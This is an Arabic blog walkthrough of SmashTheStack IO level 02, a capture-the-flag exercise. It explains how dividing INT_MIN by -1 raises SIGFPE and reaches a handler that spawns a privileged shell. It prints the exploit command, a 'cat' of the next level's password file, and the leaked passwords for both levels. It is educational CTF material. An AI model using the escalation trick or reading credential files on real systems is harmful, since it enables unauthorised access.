SmashTheStack #Level 02 wlakthrough

بسم الله الرحمن الرحيم

اللهم لاعلم لنا الا ماعلمتنا انك انت العليم الحكيم

اليوم باذن الله نكمل المرحلة الثانية من سلسلة SmashTheStack

بعد الحصول على الباسوورد من المرحلة الاولى "hgvbmkQIHavkGg5wyk"  ندخل على المرحلة الثانية

ونستعرض الكود البرمجي للمرحلة



 //a little fun brought to you by bla

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <setjmp.h>

void catcher(int a)
{
        setresuid(geteuid(),geteuid(),geteuid());
 printf("WIN!\n");
        system("/bin/sh");
        exit(0);
}

int main(int argc, char **argv)
{
 puts("source code is available in level02.c\n");

        if (argc != 3 || !atoi(argv[2]))
                return 1;
        signal(SIGFPE, catcher);
        return abs(atoi(argv[1])) / atoi(argv[2]);
}


نشوف اول الكود الهيدر وبعده نشوف function اسمها catcher وتاخذ قيمة وهي عدد صحيح 

وتحتوي على الهدف من التحدي هذا وهو الحصول على صلاحيات المرحلة الثالثة وهو الغاية عندنا 

بعدين نجي للروتين main اول سطر فيه لايهم لانه فقط يعرض الجملة 

"source code is available in level02.c"

ولكن if statement  اللي بعد الكلام هو اللي يهمنا 

if statement تتاكد ان فيه ثلاث مدخلات في على سطر الاوامر وان المدخل الثالث لايساوي صفر 

يعني في حال احد الشرطين حصلت راح يرجع البرنامج بالقمية 1 بعدين 

بعدين يجينا السطر التالي 

signal(SIGFPE, catcher);
وهو ارسال اشارة SIGFPE وماخذ ايضا اسم الدالة اللي نبي نوصل لها 

طيب ماهو SIGFPE

هي اشارة ترسل عند حدوث عملية حسابية خاطئة مثل القسمة على 0 مثل ماهو مبين عندنا في الويكيبيديا 

ولكت بما ان المدخل الثالث في سطر الاوامر يتم التحقق منه بانه لايساوي الصفر فالاحتمال هذا بعيد كل البعد اننا نستخدمه وهو القسمة على صفر 

بس نشوف وش متكوب هنا 

http://linux.die.net/man/2/signal

وبالخصوص السطر
 "Also dividing the most negative integer by -1 may generate SIGFPE."

يعني المفهوم لو قسمنا اكبر عدد سالب ياخذه integer على -1 يمكن نرسل الاشارة SIGFPE  اللي هم INT_MIN و INT_MAX 

والسبب ان لو قسمنا -2147483648 على -1 راح يسبب لنا طفح عددي او integer overflow 
level2@io:~$ /levels/level02 -2147483648 -1  
 source code is available in level02.c  
 WIN!  
 sh-4.1$ cat /home/level3/.pass  
 G2K2EP1luDpdNQ  
الى هنا ينتهي الدرس
ان اعجبك فاذكر الله وادع لي في الغيب وان لم يعجبك فانتقدني لاصبح افضل 

تعليقات

المشاركات الشائعة من هذه المدونة

CRLF injection [\r\n Carriage Return]

Study in Nosql-Injection-Mongodb